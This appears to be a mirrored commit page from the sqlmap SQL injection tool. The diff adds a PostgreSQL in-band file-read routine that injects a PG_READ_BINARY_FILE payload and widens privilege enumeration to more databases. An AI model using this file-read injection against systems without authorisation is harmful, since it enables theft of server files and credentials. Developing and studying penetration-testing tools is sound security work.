mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-02 14:32:08 +00:00
Minor patching
This commit is contained in:
parent
87ba03815b
commit
a78885d2e3
6 changed files with 24 additions and 14 deletions
|
|
@ -11,6 +11,7 @@ from lib.core.common import randomInt
|
|||
from lib.core.compat import xrange
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from lib.core.settings import LOBLKSIZE
|
||||
from lib.request import inject
|
||||
|
|
@ -32,6 +33,15 @@ class Filesystem(GenericFilesystem):
|
|||
|
||||
return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
|
||||
|
||||
def nonStackedReadFile(self, remoteFile):
|
||||
if not kb.bruteMode:
|
||||
infoMsg = "fetching file: '%s'" % remoteFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
# a superuser (or a member of the pg_read_server_files role on PostgreSQL >= 11) can read
|
||||
# files in-band via pg_read_binary_file(), so file reading does not require stacked queries
|
||||
return inject.getValue("ENCODE(PG_READ_BINARY_FILE('%s'),'hex')" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
|
||||
|
||||
def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||
errMsg += "query SQL injection technique"
|
||||
|
|
|
|||
|
|
@ -229,7 +229,7 @@ class Filesystem(object):
|
|||
logger.debug(debugMsg)
|
||||
|
||||
fileContent = self.stackedReadFile(remoteFile)
|
||||
elif Backend.isDbms(DBMS.MYSQL):
|
||||
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL):
|
||||
debugMsg = "going to try to read the file with non-stacked query "
|
||||
debugMsg += "SQL injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
|
|
|||
|
|
@ -457,7 +457,7 @@ class Users(object):
|
|||
|
||||
# In MySQL >= 5.0 and Oracle we get the list
|
||||
# of privileges as string
|
||||
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE):
|
||||
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.ALTIBASE):
|
||||
privileges.add(privilege)
|
||||
|
||||
# In MySQL < 5.0 we get Y if the privilege is
|
||||
|
|
@ -668,8 +668,8 @@ class Users(object):
|
|||
return (kb.data.cachedUsersPrivileges, areAdmins)
|
||||
|
||||
def getRoles(self, query2=False):
|
||||
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
|
||||
warnMsg += "exist. sqlmap will enumerate privileges instead"
|
||||
warnMsg = "enumeration of roles is not supported on %s; " % Backend.getIdentifiedDbms()
|
||||
warnMsg += "sqlmap will enumerate privileges instead"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
return self.getPrivileges(query2)
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue